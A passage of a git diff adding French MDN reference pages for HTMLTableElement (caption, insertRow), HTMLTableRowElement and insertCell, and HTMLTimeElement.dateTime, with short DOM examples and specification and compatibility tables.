+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p id="sect1"> </p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Éléments HTML implémentant cette interface <span style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'> </span> : {{HTMLElement("th")}} et {{HTMLElement("td")}} par héritage via {{domxref("HTMLTableHeaderCellElement")}} et {{domxref("HTMLTableDataCellElement")}}.</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/htmltableelement/caption/index.html b/files/fr/web/api/htmltableelement/caption/index.html
new file mode 100644
index 0000000000..a3d9226edd
--- /dev/null
+++ b/files/fr/web/api/htmltableelement/caption/index.html
@@ -0,0 +1,26 @@
+---
+title: table.caption
+slug: Web/API/HTMLTableElement/caption
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/HTMLTableElement/caption
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p><b>caption</b> renvoie la légende du tableau.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval"><i>string</i> = table.caption
+</pre>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<pre class="eval">if (table.caption) {
+  // On peut alors faire quelque chose avec la légende du tableau
+}
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>Cette propriété ne renvoie rien s'il n'y a aucune légende pour le tableau.</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-14594520">DOM Level 2 HTML : caption</a> <small>(<a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-14594520">traduction</a>)</small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-12035137">Interface HTMLTableCaptionElement</a> <small>(<a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-12035137">traduction</a>)</small></li>
+</ul>
+<p>{{ languages( { "en": "en/DOM/table.caption", "pl": "pl/DOM/table.caption" } ) }}</p>
diff --git a/files/fr/web/api/htmltableelement/index.html b/files/fr/web/api/htmltableelement/index.html
new file mode 100644
index 0000000000..ab997c53a9
--- /dev/null
+++ b/files/fr/web/api/htmltableelement/index.html
@@ -0,0 +1,110 @@
+---
+title: table
+slug: Web/API/HTMLTableElement
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/HTMLTableElement
+---
+<div>
+ {{ ApiRef() }}</div>
+<h2 id="Interface_de_l.27.C3.A9l.C3.A9ment_HTML_Table" name="Interface_de_l.27.C3.A9l.C3.A9ment_HTML_Table">Interface de l'élément HTML Table</h2>
+<p>Les objets <code>table</code> exposent l'interface <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-64060425"><code>HTMLTableElement</code></a> <small>(<a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-64060425">traduction</a>)</small>, qui fournit des propriétés et méthodes spécialisées (outre l'interface des objets <a href="/fr/docs/DOM/element">element</a> qu'ils acquièrent également par héritage) pour manipuler la disposition et la présentation des tableaux en HTML.</p>
+<h2 id="Propri.C3.A9t.C3.A9s" name="Propri.C3.A9t.C3.A9s">Propriétés</h2>
+<dl>
+ <dt>
+  <a href="/fr/docs/DOM/table.caption">table.caption</a></dt>
+ <dd>
+  <b>caption</b> renvoie la légende du tableau.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.tHead">table.tHead</a></dt>
+ <dd>
+  <b>tHead</b> renvoie l'en-tête du tableau.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.tFoot">table.tFoot</a></dt>
+ <dd>
+  <b>tFoot</b> renvoie le pied du tableau.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.rows">table.rows</a></dt>
+ <dd>
+  <b>rows</b> renvoie les lignes du tableau.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.tBodies">table.tBodies</a></dt>
+ <dd>
+  <b>tBodies</b> renvoie les corps du tableau.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="/fr/docs/DOM/table.align">table.align</a> {{ Deprecated_inline() }}</dt>
+ <dd>
+  <b>align</b> obtient ou définit l'alignement du tableau.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.bgColor">table.bgColor</a> {{ Deprecated_inline() }}</dt>
+ <dd>
+  <b>bgColor</b> obtient ou définit la couleur de fond du tableau.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.border">table.border</a> {{ Deprecated_inline() }}</dt>
+ <dd>
+  <b>border</b> obtient ou défini la bordure du tableau.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.cellPadding">table.cellPadding</a></dt>
+ <dd>
+  <b>cellPadding</b> obtient ou définit les marges internes (
+  <i>
+   padding</i>
+  ) des cellules.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.cellSpacing">table.cellSpacing</a></dt>
+ <dd>
+  <b>cellSpacing</b> obtient ou définit l'espace entre les cellules.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.frame">table.frame</a></dt>
+ <dd>
+  <b>frame</b> spécifie les côtés du tableau ayant une bordure.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.rules">table.rules</a></dt>
+ <dd>
+  <b>rules</b> spécifie les bordures intérieures visibles.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.summary">table.summary</a></dt>
+ <dd>
+  <b>summary</b> obtient ou définit le résumé du tableau.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.width">table.width</a></dt>
+ <dd>
+  <b>width</b> obtient ou définit la largeur du tableau.</dd>
+</dl>
+<h2 id="M.C3.A9thodes" name="M.C3.A9thodes">Méthodes</h2>
+<dl>
+ <dt>
+  <a href="/fr/docs/DOM/table.createTHead">table.createTHead</a></dt>
+ <dd>
+  <b>createTHead</b> crée un en-tête de tableau.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.deleteTHead">table.deleteTHead</a></dt>
+ <dd>
+  <b>deleteTHead</b> retire l'en-tête du tableau.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.createTFoot">table.createTFoot</a></dt>
+ <dd>
+  <b>createTFoot</b> crée un pied de tableau.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.deleteTFoot">table.deleteTFoot</a></dt>
+ <dd>
+  <b>deleteTFoot</b> retire un pied de tableau.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.createCaption">table.createCaption</a></dt>
+ <dd>
+  <b>createCaption</b> crée une nouvelle légende pour le tableau.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.deleteCaption">table.deleteCaption</a></dt>
+ <dd>
+  <b>deleteCaption</b> retire la légende d'un tableau.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.insertRow">table.insertRow</a></dt>
+ <dd>
+  <b>insertRow</b> insère une nouvelle ligne.</dd>
+ <dt>
+  <a href="/fr/docs/DOM/table.deleteRow">table.deleteRow</a></dt>
+ <dd>
+  <b>deleteRow</b> retire une ligne.</dd>
+</dl>
diff --git a/files/fr/web/api/htmltableelement/insertrow/index.html b/files/fr/web/api/htmltableelement/insertrow/index.html
new file mode 100644
index 0000000000..737195cf29
--- /dev/null
+++ b/files/fr/web/api/htmltableelement/insertrow/index.html
@@ -0,0 +1,152 @@
+---
+title: table.insertRow
+slug: Web/API/HTMLTableElement/insertRow
+tags:
+  - API
+  - DOM HTML
+  - HTMLTableElement
+  - Méthode
+  - NeedsMobileBrowserCompatibility
+  - Reference
+translation_of: Web/API/HTMLTableElement/insertRow
+---
+<div>
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>La méthode <strong><code>HTMLTableElement.insertRow()</code></strong> insère une nouvelle ligne dans la table et retourne une référence à la nouvelle ligne.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>ligne</em> = <em>HTMLTableElement</em>.insertRow(<em>optionnel indice = -1</em>);</pre>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/HTMLTableElement" title="DOM/HTMLTableElement"><code>HTMLTableElement</code></a> est une référence à un élément table HTML.</li>
+ <li><code>indice</code> est l'indice de ligne de la nouvelle ligne.</li>
+ <li><code>ligne</code> reçoit la référence à la nouvelle ligne. Une référence à un <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLTableRowElement">HTMLTableRowElement</a>. Si l'indice est -1 ou est égal au nombre de lignes, la ligne est ajoutée comme dernière ligne. Si <code>indice</code> est plus grand que le nombre de lignes, une exception IndexSizeError sera générée. Si indice est omis, sa  valeur sera -1 par défaut.</li>
+ <li>Si une table a plusieurs éléments <code>tbody</code>, par défaut, la nouvelle ligne est ajoutée dans le dernier <code>tbody</code>. Pour insérer la ligne dans un <code>tbody</code> particulier :<br>
+  <code>var <em>tbody_particulier</em></code><code>=document.getElementById(<em>id_tbody</em>);<br>
+  var <em>ligne</em>=tbody_particulier.</code><code>insertRow(<em>indice</em>)</code></li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:html">&lt;table id="TableA"&gt;
+&lt;tr&gt;
+&lt;td&gt;Ancienne ligne supérieure&lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+&lt;script type="text/javascript"&gt;
+
+function ajouteLigne(tableID) {
+  // Récupération d'une référence à la table
+  var refTable = document.getElementById(tableID);
+
+  // Insère une ligne dans la table à l'indice de ligne 0
+  var nouvelleLigne = refTable.insertRow(0);
+
+  // Insère une cellule dans la ligne à l'indice 0
+  var nouvelleCellule = nouvelleLigne.insertCell(0);
+
+  // Ajoute un nœud texte à la cellule
+  var nouveauTexte = document.createTextNode('Nouvelle ligne supérieure')
+  nouvelleCellule.appendChild(nouveauTexte);
+}
+
+// Appelle ajouteLigne() avec l'ID d'une table
+ajouteLigne('TableA');
+
+&lt;/script&gt;</pre>
+
+<p>Pour être valide dans un document HTML, un élément TR doit avoir au moins un élément TD.</p>
+
+<p>Remarquez que <code>insertRow</code> insère directement la ligne dans la table et renvoie une référence à la nouvelle ligne. La ligne n'a pas besoin d'être ajoutée séparement comme cela aurait été le cas si <code><a href="/en-US/docs/DOM/document.createElement" title="DOM/document.createElement">document.createElement()</a></code> avait été utilisé pour créer un nouvel élement TR.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "tables.html#dom-table-insertrow", "HTMLTableElement.insertRow()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-93995626", "HTMLTableElement.insertRow()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Spécifie plus en détail où la ligne est insérée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM1", "level-one-html.html#ID-39872903", "HTMLTableElement.insertRow()")}}</td>
+   <td>{{Spec2("DOM1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3<sup>[1]</sup></td>
+   <td>5.5</td>
+   <td>10</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] A partir de Gecko 20.0 {{geckoRelease("20.0")}}, l'argument indice a été rendu optionnel et a -1 comme valeur par défaut d'après la spécification HTML.</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("HTMLTableRowElement.insertCell()")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmltablerowelement/index.html b/files/fr/web/api/htmltablerowelement/index.html
new file mode 100644
index 0000000000..323cd60902
--- /dev/null
+++ b/files/fr/web/api/htmltablerowelement/index.html
@@ -0,0 +1,99 @@
+---
+title: HTMLTableRowElement
+slug: Web/API/HTMLTableRowElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Reference
+  - TopicStub
+translation_of: Web/API/HTMLTableRowElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>L'interface <strong><code>HTMLTableRowElement</code></strong> fournit des propriétés et des méthodes spéciales (au-delà de l'interface {{domxref("HTMLElement")}} dont elle dispose également par héritage) pour manipuler la mise en page et la présentation des lignes dans un tableau HTML.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Properties" name="Properties">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLTableRowElement.align")}} {{obsolete_inline}}</dt>
+ <dd>Est un {{domxref("DOMString")}} contenant une valeur énumérée reflétant l'attribut {{htmlattrxref("align", "tr")}}. Il indique l'alignement du contenu de l'élément par rapport au contexte environnant. Les valeurs possibles sont <code>"left"</code>, <code>"right"</code>, et <code>"center"</code>.</dd>
+ <dt>{{domxref("HTMLTableRowElement.bgColor")}} {{obsolete_inline}}</dt>
+ <dd>Est un {{domxref("DOMString")}} contenant la couleur de fond des cellules. Il reflète l'attribut obsolète {{htmlattrxref("bgColor", "tr")}} attribute.</dd>
+ <dt>{{domxref("HTMLTableRowElement.cells")}} {{readonlyInline}}</dt>
+ <dd>Renvoie une {{domxref("HTMLCollection")}} en direct contenant les cellules de la ligne. La <code>HTMLCollection</code> est active et est automatiquement mise à jour lorsque des cellules sont ajoutées ou supprimées.</dd>
+ <dt>{{domxref("HTMLTableRowElement.ch")}} {{obsolete_inline}}</dt>
+ <dd>Est un {{domxref("DOMString")}} contenant un seul caractère. Ce caractère est celui sur lequel aligner toutes les cellules d'une colonne. Il reflète {{htmlattrxref("char", "tr")}} et par défaut les points décimaux associés à la langue, par exemple <code>'.'</code> pour l'anglais, ou <code>','</code> pour le français. Cette propriété était facultative et n'était pas très bien prise en charge.</dd>
+ <dt>{{domxref("HTMLTableRowElement.chOff")}} {{obsolete_inline}}</dt>
+ <dd>Est un {{domxref("DOMString")}} contenant un entier indiquant combien de caractère doivent être laissés à droite (pour les scripts de gauche à droite; ou à gauche pour les scripts de droite à gauche) du caractère défini par <code>HTMLTableRowElement.ch</code>. Cette propriété était facultative et n'était pas très bien prise en charge.</dd>
+ <dt>{{domxref("HTMLTableRowElement.rowIndex")}} {{readonlyInline}}</dt>
+ <dd>Renvoie une valeur <code>long</code> qui donne la position logique de la ligne dans la table entière. Si la ligne ne fait pas partie d'une table, renvoie <code>-1</code>.</dd>
+ <dt>{{domxref("HTMLTableRowElement.sectionRowIndex")}} {{readonlyInline}}</dt>
+ <dd>Renvoie une valeur <code>long</code> qui donne la position logique de la ligne dans la section de table à laquelle elle appartient. Si la ligne ne fait pas partie d'une section, renvoie <code>-1</code>.</dd>
+ <dt>{{domxref("HTMLTableRowElement.vAlign")}} {{obsolete_inline}}</dt>
+ <dd>Est un {{domxref("DOMString")}} représentant une valeur énumérée indiquant comment le contenu de la cellule doit être aligné verticalement. Il reflète l'attribut {{htmlattrxref("valign", "tr")}} et peut avoir l'une des valeurs suivantes : <code>"top"</code>, <code>"middle"</code>, <code>"bottom"</code>, ou <code>"baseline"</code>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Méthodes</h2>
+
+<p><em>Hérite des méthodes de son parent, {{domxref("HTMLElement")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("HTMLTableRowElement.deleteCell()")}}</dt>
+ <dd>Supprime la cellule à la position donnée dans la ligne. Si la position donnée est supérieure (ou égale car elle commence à zéro) au nombre de cellules dans la ligne, ou est inférieure à <code>0</code>, elle déclenche une {{domxref("DOMException")}} avec la valeur <code>IndexSizeError</code>.</dd>
+ <dt>{{domxref("HTMLTableRowElement.insertCell()")}}</dt>
+ <dd>Insère une nouvelle cellule juste avant la position donnée dans la ligne. Si la position donnée n'est pas donnée ou est <code>-1</code>, elle ajoute la cellule à la ligne. Si la position donnée est supérieure (ou égale car elle commence à zéro) au nombre de cellules dans la ligne, ou est inférieure à <code>-1</code>, elle déclenche une {{domxref("DOMException")}} avec la valeur <code>IndexSizeError</code>. Renvoie une référence à un <a href="/en-US/docs/Web/API/HTMLTableCellElement">HTMLTableCellElement [en-US]</a>.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commantaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmltablerowelement", "HTMLTableRowElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "tabular-data.html#the-tr-element", "HTMLTableRowElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Le paramètre de <code>insertCell</code> est désormais facultatif et vaut par défaut <code>-1</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-6986576', 'HTMLTableRowElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Les propriétés <code>cells</code>, <code>rowIndex</code>, et <code>selectionRowIndex</code> sont désormais en lecture seule.<br>
+    Les méthodes <code>insertCell</code> et <code>deleteCell</code> peuvent déclencher des exceptions.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-6986576', 'HTMLTableRowElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Défintion initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez nous une pull request.</div>
+
+<p>{{Compat("api.HTMLTableRowElement")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément HTML implémentant cette interface : {{HTMLElement("tr")}}.</li>
+</ul>
+
+<dl>
+ <dt></dt>
+</dl>
diff --git a/files/fr/web/api/htmltablerowelement/insertcell/index.html b/files/fr/web/api/htmltablerowelement/insertcell/index.html
new file mode 100644
index 0000000000..e4c064e2cc
--- /dev/null
+++ b/files/fr/web/api/htmltablerowelement/insertcell/index.html
@@ -0,0 +1,105 @@
+---
+title: HTMLTableRowElement.insertCell()
+slug: Web/API/HTMLTableRowElement/insertCell
+translation_of: Web/API/HTMLTableRowElement/insertCell
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La méthode <strong><code>HTMLTableRowElement.insertCell()</code></strong> insère une nouvelle cellule ({{HtmlElement("td")}}) dans une ligne de tableau ({{HtmlElement("tr")}}) et renvoie une référence sur cette cellule.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> <code>insertCell()</code> insère la cellule directement dans la ligne. La cellule n’a pas besoin d’être ajoutée séparément comme cela serait le cas si {{domxref("Document.createElement()")}} avait été utilisé pour créer le nouvel élément <code>&lt;td&gt;</code>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>newCell</var> = <var>HTMLTableRowElement</var>.insertCell(<var>index</var>);
+</pre>
+
+<p>{{domxref("HTMLTableRowElement")}} est une référence sur un élément HTML {{HtmlElement("tr")}}.</p>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>index</code> {{optional_inline}}</dt>
+ <dd><code>index</code> est l’index de cellule de la nouvelle cellule. Si <code>index</code> est <code>-1</code> ou égal au nombre actuel de cellules, la nouvelle cellule est ajoutée à la fin la ligne. Si <code>index</code> est supérieur au nombre de cellules, une exception <code>IndexSizeError</code> sera levée. Si <code>index</code> est omis, la valeur sera <code>-1</code> par défaut.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>newCell</code> est une {{domxref("HTMLTableCellElement")}} qui fait référence à la nouvelle cellule.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple utilise {{domxref("HTMLTableElement.insertRow()")}} pour ajouter une nouvelle ligne à une table.</p>
+
+<p>Nous utilisons ensuite <code>insertCell(0)</code> pour insérer une nouvelle cellule dans la nouvelle ligne (pour être du HTML valide, un <code>&lt;tr&gt;</code> doit avoir au moins un élément <code>&lt;td&gt;</code>). Enfin, nous ajoutons du texte à la cellule en utilisant {{domxref("Document.createTextNode()")}} et {{domxref("Node.appendChild()")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table id="my-table"&gt;
+  &lt;tr&gt;&lt;td&gt;Row 1&lt;/td&gt;&lt;/tr&gt;
+  &lt;tr&gt;&lt;td&gt;Row 2&lt;/td&gt;&lt;/tr&gt;
+  &lt;tr&gt;&lt;td&gt;Row 3&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function addRow(tableID) {
+  // Obtient une référence sur la table
+  let tableRef = document.getElementById(tableID);
+
+  // Insère une ligne à la fin de la table
+  let newRow = tableRef.insertRow(-1);
+
+  // Insère une cellule dans la ligne à l’index 0
+  let newCell = newRow.insertCell(0);
+
+  // Ajoute un nœud texte à la cellule
+  let newText = document.createTextNode('New bottom row');
+  newCell.appendChild(newText);
+}
+
+// Appelle addRow() avec l’ID de la table
+addRow('my-table');</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "tables.html#dom-tr-insertcell", "HTMLTableRowElement.insertCell()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-68927016", "HTMLTableRowElement.insertCell()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.HTMLTableRowElement.insertCell")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("HTMLTableElement.insertRow()")}}</li>
+ <li>L’élément HTML représentant les  cellules : {{domxref("HTMLTableCellElement")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmltimeelement/datetime/index.html b/files/fr/web/api/htmltimeelement/datetime/index.html
new file mode 100644
index 0000000000..48df191248
--- /dev/null
+++ b/files/fr/web/api/htmltimeelement/datetime/index.html
@@ -0,0 +1,174 @@
+---
+title: HTMLTimeElement.dateTime
+slug: Web/API/HTMLTimeElement/dateTime
+translation_of: Web/API/HTMLTimeElement/dateTime
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<div>La propriété <code><strong>HTMLTimeElement</strong></code><strong><code>.dateTime</code></strong> est une {{domxref("DOMString")}} qui reflète l'attribut HTML {{ htmlattrxref("datetime", "time") }}, contenant une date et une heure interprétable par un ordinateur.</div>
+
+<p>Le format de la chaîne de caractères doit correspondre à l'une des micro-syntaxes HTML suivantes:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Microsyntaxe</th>
+   <th scope="col">Description</th>
+   <th scope="col">Exemples</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Mois</td>
+   <td><em>AAAA</em><code>-</code><em>MM</em></td>
+   <td><code>2011-11</code>, <code>2013-05</code></td>
+  </tr>
+  <tr>
+   <td>
+    <p>Date</p>
+   </td>
+   <td><em><code>AAAA</code></em><code>-</code><em>MM</em><code>-</code><em>DD</em></td>
+   <td><code>1887-12-01</code></td>
+  </tr>
+  <tr>
+   <td>Date sans l'année</td>
+   <td><em>MM</em><code>-</code><em>DD</em></td>
+   <td><code>11-12</code></td>
+  </tr>
+  <tr>
+   <td>Heure</td>
+   <td><em>HH</em><code>:</code><em>MM</em><br>
+    <em>HH</em><code>:</code><em>MM</em><code>:</code><em>SS</em><br>
+    <em>HH</em><code>:</code><em>MM</em><code>:</code><em>SS</em><code>.</code><em>mmm</em></td>
+   <td><code>23:59</code><br>
+    <code>12:15:47</code><br>
+    <code>12:15:52.998</code></td>
+  </tr>
+  <tr>
+   <td>Date et heure locale</td>
+   <td><em>AAAA</em><code>-</code><em>MM</em><code>-</code><em>DD</em> <em>HH</em><code>:</code><em>MM</em><br>
+    <em>AAAA</em><code>-</code><em>MM</em><code>-</code><em>DD</em> <em>HH</em><code>:</code><em>MM</em><code>:</code><em>SS</em><br>
+    <em>AAAA</em><code>-</code><em>MM</em><code>-</code><em>DD</em> <em>HH</em><code>:</code><em>MM</em><code>:</code><em>SS<code>.</code><em>mmm</em></em><br>
+    <em>AAAA</em><code>-</code><em>MM</em><code>-</code><em>DD</em><code>T</code><em>HH</em><code>:</code><em>MM</em><br>
+    <em>AAAA</em><code>-</code><em>MM</em><code>-</code><em>DD</em><code>T</code><em>HH</em><code>:</code><em>MM</em><code>:</code><em>SS</em><br>
+    <em>AAAA</em><code>-</code><em>MM</em><code>-</code><em>DD</em><code>T</code><em>HH</em><code>:</code><em>MM</em><code>:</code><em>SS<code>.</code><em>mmm</em></em></td>
+   <td><code>2013-12-25 11:12<br>
+    1972-07-25 13:43:07<br>
+    1941-03-15 07:06:23.678<br>
+    2013-12-25T11:12<br>
+    1972-07-25T13:43:07<br>
+    1941-03-15T07:06:23.678</code></td>
+  </tr>
+  <tr>
+   <td>Décalage horaire</td>
+   <td><code>Z</code><br>
+    <code>+</code><em>HHMM<br>
+    <code>+</code></em><em>HH</em><code>:</code><em>MM</em><br>
+    <em><code>-</code><em>HHMM<br>
+    <code>-</code></em><em>HH</em><code>:</code><em>MM</em></em></td>
+   <td><code>Z<br>
+    +0200<br>
+    +04:30<br>
+    -0300<br>
+    -08:00</code></td>
+  </tr>
+  <tr>
+   <td>date et heure globale</td>
+   <td>
+    <p><em>N'importe quelle combinaison de date et d'heure locale suivie d'un décalage horaire</em></p>
+   </td>
+   <td><code>2013-12-25 11:12+0200<br>
+    1972-07-25 13:43:07+04:30<br>
+    1941-03-15 07:06:23.678Z<br>
+    2013-12-25T11:12-08:00</code></td>
+  </tr>
+  <tr>
+   <td>Semaine</td>
+   <td><em>AAAA</em><code>-W</code><em>WW</em></td>
+   <td><code>2013-W46</code></td>
+  </tr>
+  <tr>
+   <td>
+    <p>Quatre ou plus chiffres ASCII</p>
+   </td>
+   <td><em>AAAA</em></td>
+   <td><code>2013</code>, <code>0001</code></td>
+  </tr>
+  <tr>
+   <td>Durée</td>
+   <td><code>P</code><em>d</em><code>D</code><code>T</code><em>h</em><code>H</code><em>m</em><code>M</code><em>s</em><code>S</code><br>
+    <code>P</code><em>d</em><code>D</code><code>T</code><em>h</em><code>H</code><em>m</em><code>M</code><em>s</em><code>.</code>X<code>S</code><br>
+    <code>P</code><em>d</em><code>D</code><code>T</code><em>h</em><code>H</code><em>m</em><code>M</code><em>s</em><code>.</code>XX<code>S</code><br>
+    <code>P</code><em>d</em><code>D</code><code>T</code><em>h</em><code>H</code><em>m</em><code>M</code><em>s</em><code>.</code>XXX<code>S</code><br>
+    <code>P</code><code>T</code><em>h</em><code>H</code><em>m</em><code>M</code><em>s</em><code>S</code><br>
+    <code>P</code><code>T</code><em>h</em><code>H</code><em>m</em><code>M</code><em>s</em><code>.</code>X<code>S</code><br>
+    <code>P</code><code>T</code><em>h</em><code>H</code><em>m</em><code>M</code><em>s</em><code>.</code>XX<code>S</code><br>
